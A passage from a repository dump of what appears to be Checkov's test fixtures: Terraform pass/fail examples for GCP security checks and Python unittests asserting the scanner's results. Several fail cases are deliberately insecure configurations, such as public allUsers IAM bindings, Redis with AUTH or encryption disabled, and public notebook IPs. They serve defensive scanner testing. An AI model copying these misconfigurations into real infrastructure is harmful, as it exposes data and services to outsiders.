    "content": "resource \"google_project_iam_member\" \"owner\" {\n  project  = \"your-project-id\"\n  role    = \"roles/owner\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_project_iam_member\" \"editor\" {\n  project  = \"your-project-id\"\n  role    = \"roles/editor\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_project_iam_member\" \"viewer\" {\n  project  = \"your-project-id\"\n  role    = \"roles/viewer\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_project_iam_member\" \"other\" {\n  project  = \"your-project-id\"\n  role    = \"roles/other\"\n  member  = \"user:jane@example.com\"\n}\n\nresource \"google_project_iam_binding\" \"owner\" {\n  project  = \"your-project-id\"\n  role    = \"roles/owner\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_project_iam_binding\" \"editor\" {\n  project  = \"your-project-id\"\n  role    = \"roles/editor\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_project_iam_binding\" \"viewer\" {\n  project  = \"your-project-id\"\n  role    = \"roles/viewer\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_project_iam_binding\" \"other\" {\n  project  = \"your-project-id\"\n  role    = \"roles/other\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleStorageBucketUniformAccess/main.tf",
    "content": "# pass\n\nresource \"google_storage_bucket\" \"enabled\" {\n  name     = \"example\"\n  location = \"EU\"\n\n  uniform_bucket_level_access = True\n}\n\n# fail\n\nresource \"google_storage_bucket\" \"default\" {\n  name     = \"example.com\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket\" \"disabled\" {\n  name     = \"example\"\n  location = \"EU\"\n\n  uniform_bucket_level_access = False\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleStoragePublicAccessPrevention/main.tf",
    "content": "resource \"google_storage_bucket\" \"inherited\" {\n  name                     = \"foo\"\n  location                 = \"EU\"\n  public_access_prevention = \"inherited\"\n}\n\nresource \"google_storage_bucket\" \"default\" {\n  name                     = \"foo\"\n  location                 = \"EU\"\n}\n\nresource \"google_storage_bucket\" \"enforced\" {\n  name                     = \"foo\"\n  location                 = \"EU\"\n  public_access_prevention = \"enforced\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleSubnetworkIPV6PrivateGoogleEnabled/main.tf",
    "content": "resource \"google_compute_subnetwork\" \"fail\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"EXTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n  # purpose=\"INTERNAL_HTTPS_LOAD_BALANCER\" if set ignored\n  # log_config {\n  #   metadata=\"EXCLUDE_ALL_METADATA\"\n  # }\n  private_ip_google_access   = false\n  private_ipv6_google_access = false\n}\n\nresource \"google_compute_subnetwork\" \"fail2\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"EXTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n  # purpose=\"INTERNAL_HTTPS_LOAD_BALANCER\" if set ignored\n  # log_config {\n  #   metadata=\"EXCLUDE_ALL_METADATA\"\n  # }\n  private_ip_google_access = false\n}\n\nresource \"google_compute_subnetwork\" \"unknown\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_ONLY\"\n  ipv6_access_type = \"EXTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n  # purpose=\"INTERNAL_HTTPS_LOAD_BALANCER\" if set ignored\n  # log_config {\n  #   metadata=\"EXCLUDE_ALL_METADATA\"\n  # }\n  private_ip_google_access = false\n}\n\nresource \"google_compute_subnetwork\" \"pass_out\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"EXTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n  # purpose=\"INTERNAL_HTTPS_LOAD_BALANCER\" if set ignored\n  # log_config {\n  #   metadata=\"EXCLUDE_ALL_METADATA\"\n  # }\n  private_ip_google_access   = true\n  private_ipv6_google_access = \"ENABLE_OUTBOUND_VM_ACCESS_TO_GOOGLE\"\n}\n\nresource \"google_compute_subnetwork\" \"pass_bidi\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"EXTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n  # purpose=\"INTERNAL_HTTPS_LOAD_BALANCER\" if set ignored\n  # log_config {\n  #   metadata=\"EXCLUDE_ALL_METADATA\"\n  # }\n  private_ip_google_access   = true\n  private_ipv6_google_access = \"ENABLE_BIDIRECTIONAL_ACCESS_TO_GOOGLE\"\n}\n\n\nresource \"google_compute_subnetwork\" \"unknown2\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"EXTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n   purpose=\"INTERNAL_HTTPS_LOAD_BALANCER\"\n   log_config {\n     metadata=\"EXCLUDE_ALL_METADATA\"\n   }\n}\n\nresource \"google_compute_subnetwork\" \"unknown3\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  # No stack_type defaults to IPV4_ONLY\n  # stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"EXTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n   purpose=\"INTERNAL_HTTPS_LOAD_BALANCER\"\n   log_config {\n     metadata=\"EXCLUDE_ALL_METADATA\"\n   }\n}\n\nresource \"google_compute_subnetwork\" \"unknown4\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"INTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n  purpose          = \"REGIONAL_MANAGED_PROXY\"\n  role             = \"ACTIVE\"\n\n}\n\nresource \"google_compute_subnetwork\" \"unknown5\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"INTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n  purpose          = \"GLOBAL_MANAGED_PROXY\"\n  role             = \"ACTIVE\"\n}\n\nresource \"google_compute_subnetwork\" \"unknown6\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"INTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n  purpose          = \"REGIONAL_MANAGED_PROXY\"\n  role             = \"ACTIVE\"\n}\n\nresource \"google_compute_subnetwork\" \"unknown7\" {\n  name             = \"log-test-subnetwork\"\n  ip_cidr_range    = \"10.2.0.0/16\"\n  stack_type       = \"IPV4_IPV6\"\n  ipv6_access_type = \"INTERNAL\"\n  region           = \"us-central1\"\n  network          = google_compute_network.custom-test.id\n  purpose          = \"GLOBAL_MANAGED_PROXY\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleSubnetworkLoggingEnabled/main.tf",
    "content": "# pass\n\nresource \"google_compute_subnetwork\" \"enabled\" {\n  name          = \"example\"\n  ip_cidr_range = \"10.0.0.0/16\"\n  network       = \"google_compute_network.vpc.self_link\"\n\n  log_config {\n    aggregation_interval = \"INTERVAL_10_MIN\"\n    flow_sampling        = 0.5\n    metadata             = \"INCLUDE_ALL_METADATA\"\n  }\n}\n\n# fail\n\nresource \"google_compute_subnetwork\" \"default\" {\n  name          = \"example\"\n  ip_cidr_range = \"10.0.0.0/16\"\n  network       = \"google_compute_network.vpc.id\"\n}\n\n# unknown\n\nresource \"google_compute_subnetwork\" \"internal_https_lb\" {\n  name          = \"example\"\n  ip_cidr_range = \"10.0.0.0/22\"\n  network       = \"google_compute_network.vpc.id\"\n\n  purpose = \"INTERNAL_HTTPS_LOAD_BALANCER\"\n  role    = \"ACTIVE\"\n}\n\nresource \"google_compute_subnetwork\" \"regional_managed_proxy\" {\n  name          = \"example\"\n  ip_cidr_range = \"10.0.0.0/22\"\n  network       = \"google_compute_network.vpc.id\"\n\n  purpose = \"REGIONAL_MANAGED_PROXY\"\n  role    = \"ACTIVE\"\n}\n\nresource \"google_compute_subnetwork\" \"global_managed_proxy\" {\n  name          = \"example\"\n  ip_cidr_range = \"10.0.0.0/22\"\n  network       = \"google_compute_network.vpc.id\"\n\n  purpose = \"GLOBAL_MANAGED_PROXY\"\n  role    = \"ACTIVE\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleSubnetworkPrivateGoogleEnabled/main.tf",
    "content": "# pass\n\nresource \"google_compute_subnetwork\" \"pass\" {\n  name          = \"example\"\n  ip_cidr_range = \"10.0.0.0/16\"\n  network       = \"google_compute_network.vpc.self_link\"\n\n  log_config {\n    aggregation_interval = \"INTERVAL_10_MIN\"\n    flow_sampling        = 0.5\n    metadata             = \"INCLUDE_ALL_METADATA\"\n  }\n  private_ip_google_access = true\n}\n\nresource \"google_compute_subnetwork\" \"pass2\" {\n  name          = \"example\"\n  ip_cidr_range = \"10.0.0.0/16\"\n  network       = \"google_compute_network.vpc.self_link\"\n  purpose       = \"PRIVATE_RFC_1918\"\n  log_config {\n    aggregation_interval = \"INTERVAL_10_MIN\"\n    flow_sampling        = 0.5\n    metadata             = \"INCLUDE_ALL_METADATA\"\n  }\n  private_ip_google_access = true\n}\n\n\n# fail\n\nresource \"google_compute_subnetwork\" \"fail\" {\n  name          = \"example\"\n  ip_cidr_range = \"10.0.0.0/16\"\n  network       = \"google_compute_network.vpc.id\"\n}\n\nresource \"google_compute_subnetwork\" \"fail2\" {\n  name                     = \"example\"\n  ip_cidr_range            = \"10.0.0.0/16\"\n  network                  = \"google_compute_network.vpc.id\"\n  private_ip_google_access = false\n}\n\nresource \"google_compute_subnetwork\" \"unknown\" {\n  name    = \"internal-https-lb-europe-west2\"\n  network = google_compute_network.pike.id\n  region  = \"europe-west2\"\n\n  ip_cidr_range = \"10.0.0.0/24\"\n  purpose       = \"INTERNAL_HTTPS_LOAD_BALANCER\"\n  role          = \"ACTIVE\"\n}\n\nresource \"google_compute_subnetwork\" \"unknown2\" {\n  name    = \"internal-https-lb-europe-west2\"\n  network = google_compute_network.pike.id\n  region  = \"europe-west2\"\n\n  ip_cidr_range = \"10.0.0.0/24\"\n  purpose       = \"REGIONAL_MANAGED_PROXY\"\n  role          = \"ACTIVE\"\n}\n\nresource \"google_compute_subnetwork\" \"unknown3\" {\n  name    = \"internal-https-lb-europe-west2\"\n  network = google_compute_network.pike.id\n  region  = \"europe-west2\"\n\n  ip_cidr_range = \"10.0.0.0/24\"\n  purpose       = \"GLOBAL_MANAGED_PROXY\"\n  role          = \"ACTIVE\"\n}\n\n resource \"google_compute_network\" \"pike\" {\n   auto_create_subnetworks = false\n   name=\"pike\"\n\n }\n\n\n provider \"google\" {\n      project=\"pike-gcp\"\n }"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleVertexAINotebookShieldedVM/main.tf",
    "content": "resource \"google_notebooks_instance\" \"fail\" {\n  name       = \"notebook-instance-pass\"\n  location   = \"us-central1-a\"\n  machine_type = \"n1-standard-4\"\n\n  shielded_instance_config {\n    enable_vtpm               = false\n    enable_integrity_monitoring = false\n  }\n\n  // Additional configuration as needed...\n}\n\nresource \"google_notebooks_instance\" \"pass\" {\n  name       = \"notebook-instance-fail\"\n  location   = \"us-central1-a\"\n  machine_type = \"n1-standard-4\"\n\n  shielded_instance_config {\n    enable_vtpm               = true\n    enable_integrity_monitoring = false\n  }\n\n  // Additional configuration as needed...\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_MemorystoreForRedisAuthEnabled/main.tf",
    "content": "\n# Passes b/c we enabled AUTH\nresource \"google_redis_instance\" \"pass\" {\n  name           = \"my-pass-instance\"\n  memory_size_gb = 1\n  tier           = \"STANDARD_HA\"\n\n  location_id             = \"us-central1-a\"\n  alternative_location_id = \"us-central1-f\"\n  redis_version           = \"REDIS_6_X\"\n\n  labels = {\n    foo = \"bar\"\n  }\n\n  auth_enabled = true\n}\n\n# Fails b/c \"auth_enabled\" does not exist\n# AUTH is not enabled by default\nresource \"google_redis_instance\" \"fail1\" {\n  name           = \"my-fail-instance1\"\n  tier           = \"STANDARD_HA\"\n  memory_size_gb = 1\n\n  location_id             = \"us-central1-a\"\n  alternative_location_id = \"us-central1-f\"\n\n  redis_version = \"REDIS_4_0\"\n  display_name  = \"I am insecure\"\n\n  maintenance_policy {\n    weekly_maintenance_window {\n      day = \"TUESDAY\"\n      start_time {\n        hours   = 0\n        minutes = 30\n        seconds = 0\n        nanos   = 0\n      }\n    }\n  }\n}\n\n# Fails b/c we turn off AUTH\nresource \"google_redis_instance\" \"fail2\" {\n  name           = \"my-fail-instance2\"\n  memory_size_gb = 1\n\n  auth_enabled = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_MemorystoreForRedisInTransitEncryption/main.tf",
    "content": "\nresource \"google_redis_instance\" \"pass\" {\n  provider       = google-beta\n  name           = \"mrr-memory-cache\"\n  tier           = \"STANDARD_HA\"\n  memory_size_gb = 5\n\n  location_id             = \"us-central1-a\"\n  alternative_location_id = \"us-central1-f\"\n\n  authorized_network = data.google_compute_network.redis-network.id\n\n  redis_version      = \"REDIS_6_X\"\n  display_name       = \"Terraform Test Instance\"\n  reserved_ip_range  = \"192.168.0.0/28\"\n  replica_count      = 5\n  read_replicas_mode = \"READ_REPLICAS_ENABLED\"\n  # auth_enabled=true\n  labels = {\n    my_key    = \"my_val\"\n    other_key = \"other_val\"\n  }\n  transit_encryption_mode = \"SERVER_AUTHENTICATION\"\n}\n\nresource \"google_redis_instance\" \"fail\" {\n  provider       = google-beta\n  name           = \"mrr-memory-cache\"\n  tier           = \"STANDARD_HA\"\n  memory_size_gb = 5\n\n  location_id             = \"us-central1-a\"\n  alternative_location_id = \"us-central1-f\"\n\n  authorized_network = data.google_compute_network.redis-network.id\n\n  redis_version      = \"REDIS_6_X\"\n  display_name       = \"Terraform Test Instance\"\n  reserved_ip_range  = \"192.168.0.0/28\"\n  replica_count      = 5\n  read_replicas_mode = \"READ_REPLICAS_ENABLED\"\n  # auth_enabled=true\n  labels = {\n    my_key    = \"my_val\"\n    other_key = \"other_val\"\n  }\n  #   transit_encryption_mode = \"\"\n}\n\n\nresource \"google_redis_instance\" \"fail2\" {\n  provider       = google-beta\n  name           = \"mrr-memory-cache\"\n  tier           = \"STANDARD_HA\"\n  memory_size_gb = 5\n\n  location_id             = \"us-central1-a\"\n  alternative_location_id = \"us-central1-f\"\n\n  authorized_network = data.google_compute_network.redis-network.id\n\n  redis_version      = \"REDIS_6_X\"\n  display_name       = \"Terraform Test Instance\"\n  reserved_ip_range  = \"192.168.0.0/28\"\n  replica_count      = 5\n  read_replicas_mode = \"READ_REPLICAS_ENABLED\"\n  # auth_enabled=true\n  labels = {\n    my_key    = \"my_val\"\n    other_key = \"other_val\"\n  }\n     transit_encryption_mode = \"DISABLED\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_PubSubPrivateTopic/main.tf",
    "content": "################\n## PASS TESTS ##\n################\n\nresource \"google_pubsub_topic_iam_binding\" \"pass1\" {\n  cluster = \"my-private-topic-binding1\"\n  role    = \"roles/pubsub.admin\"\n  members = [\n    \"user:jane@example.com\",\n    \"group:mygroup@example.com\",\n  ]\n}\n\nresource \"google_pubsub_topic_iam_binding\" \"pass2\" {\n  cluster = \"my-private-topic-binding2\"\n  role    = \"roles/pubsub.editor\"\n  members = [\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_pubsub_topic_iam_member\" \"pass1\" {\n  cluster = \"my-private-topic-member1\"\n  role    = \"roles/pubsub.publisher\"\n  member  = \"group:mygroup@example.com\"\n}\n\nresource \"google_pubsub_topic_iam_member\" \"pass2\" {\n  cluster = \"my-private-topic-member2\"\n  role    = \"roles/pubsub.subscriber\"\n  member  = \"domain:example.com\"\n}\n\n\n################\n## FAIL TESTS ##\n################\n\nresource \"google_pubsub_topic_iam_binding\" \"fail1\" {\n  cluster = \"my-public-topic-binding1\"\n  role    = \"roles/pubsub.viewer\"\n  members = [\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_pubsub_topic_iam_binding\" \"fail2\" {\n  cluster = \"my-public-topic-binding2\"\n  role    = \"roles/pubsub.admin\"\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_pubsub_topic_iam_binding\" \"fail3\" {\n  cluster = \"my-public-topic-binding3\"\n  role    = \"roles/pubsub.editor\"\n  members = [\n    \"allUsers\",\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_pubsub_topic_iam_binding\" \"fail4\" {\n  cluster = \"my-public-topic-binding4\"\n  role    = \"roles/pubsub.publisher\"\n  members = [\n    \"user:jason@example.com\",\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_pubsub_topic_iam_member\" \"fail1\" {\n  cluster = \"my-public-topic-member1\"\n  role    = \"roles/pubsub.subscriber\"\n  member  = \"allAuthenticatedUsers\"\n}\n\nresource \"google_pubsub_topic_iam_member\" \"fail2\" {\n  cluster = \"my-public-topic-member2\"\n  role    = \"roles/pubsub.viewer\"\n  member  = \"allUsers\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_SpannerDatabaseDeletionProtection/main.tf",
    "content": "resource \"google_spanner_database\" \"fail\" {\n  instance = google_spanner_instance.example.name\n  name     = \"my-database\"\n  ddl = [\n    \"CREATE TABLE t1 (t1 INT64 NOT NULL,) PRIMARY KEY(t1)\",\n    \"CREATE TABLE t2 (t2 INT64 NOT NULL,) PRIMARY KEY(t2)\",\n  ]\n  deletion_protection = false\n  #   encryption_config {\n  #     kms_key_name=\n  #   }\n}\n\nresource \"google_spanner_database\" \"pass\" {\n  instance = google_spanner_instance.example.name\n  name     = \"my-database\"\n  ddl = [\n    \"CREATE TABLE t1 (t1 INT64 NOT NULL,) PRIMARY KEY(t1)\",\n    \"CREATE TABLE t2 (t2 INT64 NOT NULL,) PRIMARY KEY(t2)\",\n  ]\n  deletion_protection = true\n     encryption_config {\n       kms_key_name= google_kms_crypto_key.example.name\n     }\n}\n\nresource \"google_spanner_database\" \"pass2\" {\n  instance = google_spanner_instance.example.name\n  name     = \"my-database\"\n  ddl = [\n    \"CREATE TABLE t1 (t1 INT64 NOT NULL,) PRIMARY KEY(t1)\",\n    \"CREATE TABLE t2 (t2 INT64 NOT NULL,) PRIMARY KEY(t2)\",\n  ]\n\n     encryption_config {\n       kms_key_name= google_kms_crypto_key.example.name\n     }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_SpannerDatabaseDropProtection/main.tf",
    "content": "resource \"google_spanner_database\" \"fail\" {\n  instance = google_spanner_instance.example.name\n  name     = \"my-database\"\n  ddl = [\n    \"CREATE TABLE t1 (t1 INT64 NOT NULL,) PRIMARY KEY(t1)\",\n    \"CREATE TABLE t2 (t2 INT64 NOT NULL,) PRIMARY KEY(t2)\",\n  ]\n  deletion_protection = false\n  enable_drop_protection=false\n  #   encryption_config {\n  #     kms_key_name=\n  #   }\n}\n\nresource \"google_spanner_database\" \"fail2\" {\n  instance = google_spanner_instance.example.name\n  name     = \"my-database\"\n  ddl = [\n    \"CREATE TABLE t1 (t1 INT64 NOT NULL,) PRIMARY KEY(t1)\",\n    \"CREATE TABLE t2 (t2 INT64 NOT NULL,) PRIMARY KEY(t2)\",\n  ]\n  deletion_protection = false\n  #   encryption_config {\n  #     kms_key_name=\n  #   }\n}\n\nresource \"google_spanner_database\" \"pass\" {\n  instance = google_spanner_instance.example.name\n  name     = \"my-database\"\n  ddl = [\n    \"CREATE TABLE t1 (t1 INT64 NOT NULL,) PRIMARY KEY(t1)\",\n    \"CREATE TABLE t2 (t2 INT64 NOT NULL,) PRIMARY KEY(t2)\",\n  ]\n  deletion_protection = false\n  enable_drop_protection=true\n     encryption_config {\n       kms_key_name= google_kms_crypto_key.example.name\n     }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_SpannerDatabaseEncryptedWithCMK/main.tf",
    "content": "resource \"google_spanner_database\" \"fail\" {\n  instance = google_spanner_instance.example.name\n  name     = \"my-database\"\n  ddl = [\n    \"CREATE TABLE t1 (t1 INT64 NOT NULL,) PRIMARY KEY(t1)\",\n    \"CREATE TABLE t2 (t2 INT64 NOT NULL,) PRIMARY KEY(t2)\",\n  ]\n  deletion_protection = false\n  #   encryption_config {\n  #     kms_key_name=\n  #   }\n}\n\nresource \"google_spanner_database\" \"pass\" {\n  instance = google_spanner_instance.example.name\n  name     = \"my-database\"\n  ddl = [\n    \"CREATE TABLE t1 (t1 INT64 NOT NULL,) PRIMARY KEY(t1)\",\n    \"CREATE TABLE t2 (t2 INT64 NOT NULL,) PRIMARY KEY(t2)\",\n  ]\n  deletion_protection = false\n     encryption_config {\n       kms_key_name= google_kms_crypto_key.example.name\n     }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_VertexAIDatasetEncryptedWithCMK/main.tf",
    "content": "resource \"google_vertex_ai_dataset\" \"fail\" {\n  display_name        = \"terraform\"\n  metadata_schema_uri = \"gs://google-cloud-aiplatform/schema/dataset/metadata/image_1.0.0.yaml\"\n  region              = \"us-central1\"\n  #   encryption_spec {\n  #     kms_key_name=\n  #   }\n\n}\n\nresource \"google_vertex_ai_dataset\" \"pass\" {\n  display_name        = \"terraform\"\n  metadata_schema_uri = \"gs://google-cloud-aiplatform/schema/dataset/metadata/image_1.0.0.yaml\"\n  region              = \"us-central1\"\n     encryption_spec {\n       kms_key_name=google_kms_crypto_key.example.name\n     }\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_VertexAIMetadataStoreEncryptedWithCMK/main.tf",
    "content": "resource \"google_vertex_ai_metadata_store\" \"fail\" {\n  name        = \"test-store\"\n  description = \"Store to test the terraform module\"\n  region      = \"us-central1\"\n  #   encryption_spec {\n  #       kms_key_name=\n  #   }\n}\n\nresource \"google_vertex_ai_metadata_store\" \"pass\" {\n  name        = \"test-store\"\n  description = \"Store to test the terraform module\"\n  region      = \"us-central1\"\n     encryption_spec {\n         kms_key_name=google_kms_crypto_key.example.name\n     }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_VertexAINotebookEnsureIntegrityMonitoring/main.tf",
    "content": "resource \"google_notebooks_instance\" \"fail\" {\n  name         = \"notebook-instance-pass\"\n  location     = \"us-central1-a\"\n  machine_type = \"n1-standard-4\"\n\n  // The instance is assumed to be ACTIVE once created.\n  shielded_instance_config {\n    enable_vtpm                 = false\n    enable_integrity_monitoring = false\n  }\n\n  // Additional required configuration as needed...\n}\n\nresource \"google_notebooks_instance\" \"pass\" {\n  name         = \"notebook-instance-fail\"\n  location     = \"us-central1-a\"\n  machine_type = \"n1-standard-4\"\n\n  // The instance is assumed to be ACTIVE once created.\n  shielded_instance_config {\n    enable_vtpm                 = false\n    enable_integrity_monitoring = true\n  }\n\n  // Additional required configuration as needed...\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_VertexAIPrivateInstance/main.tf",
    "content": "\nresource \"google_notebooks_instance\" \"pass1\" {\n  name = \"pass1-instance\"\n  location = \"us-west1-a\"\n  machine_type = \"e2-medium\"\n  vm_image {\n    project      = \"deeplearning-platform-release\"\n    image_family = \"tf-latest-cpu\"\n  }\n\n  # This configures a private Vertex AI instance\n  no_public_ip = true\n}\n\n\nresource \"google_notebooks_instance\" \"fail1\" {\n  name = \"fail1-instance\"\n  location = \"us-west1-a\"\n  machine_type = \"e2-medium\"\n  vm_image {\n    project      = \"deeplearning-platform-release\"\n    image_family = \"tf-latest-cpu\"\n  }\n\n  # This configures a public Vertex AI instance\n  no_public_ip = false\n}\n\n# This configures a public Vertex AI instance\n# b/c there is no \"no_public_ip\" setting configured\nresource \"google_notebooks_instance\" \"fail2\" {\n  name = \"fail2-instance\"\n  location = \"us-west1-a\"\n  machine_type = \"e2-medium\"\n  vm_image {\n    project      = \"deeplearning-platform-release\"\n    image_family = \"tf-latest-cpu\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_ArtifactRegistryEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.ArtifactRegsitryEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestArtifactRegistryEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ArtifactRegistryEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_artifact_registry_repository.pass\",\n        }\n\n        failing_resources = {\n            \"google_artifact_registry_repository.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_ArtifactRegistryPrivateRepo.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.ArtifactRegistryPrivateRepo import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestArtifactRegistryPrivateRepo(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ArtifactRegistryPrivateRepo\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_artifact_registry_repository_iam_binding.pass1',\n            'google_artifact_registry_repository_iam_binding.pass2',\n            'google_artifact_registry_repository_iam_member.pass1',\n            'google_artifact_registry_repository_iam_member.pass2',\n\n        }\n        failing_resources = {\n            'google_artifact_registry_repository_iam_binding.fail1',\n            'google_artifact_registry_repository_iam_binding.fail2',\n            'google_artifact_registry_repository_iam_binding.fail3',\n            'google_artifact_registry_repository_iam_binding.fail4',\n            'google_artifact_registry_repository_iam_binding.fail5',\n            'google_artifact_registry_repository_iam_member.fail1',\n            'google_artifact_registry_repository_iam_member.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 7)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_BigQueryDatasetEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.BigQueryDatasetEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBigQueryDatasetEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_BigQueryDatasetEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_bigquery_dataset.pass\",\n        }\n\n        failing_resources = {\n            \"google_bigquery_dataset.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_BigQueryPrivateTable.py",
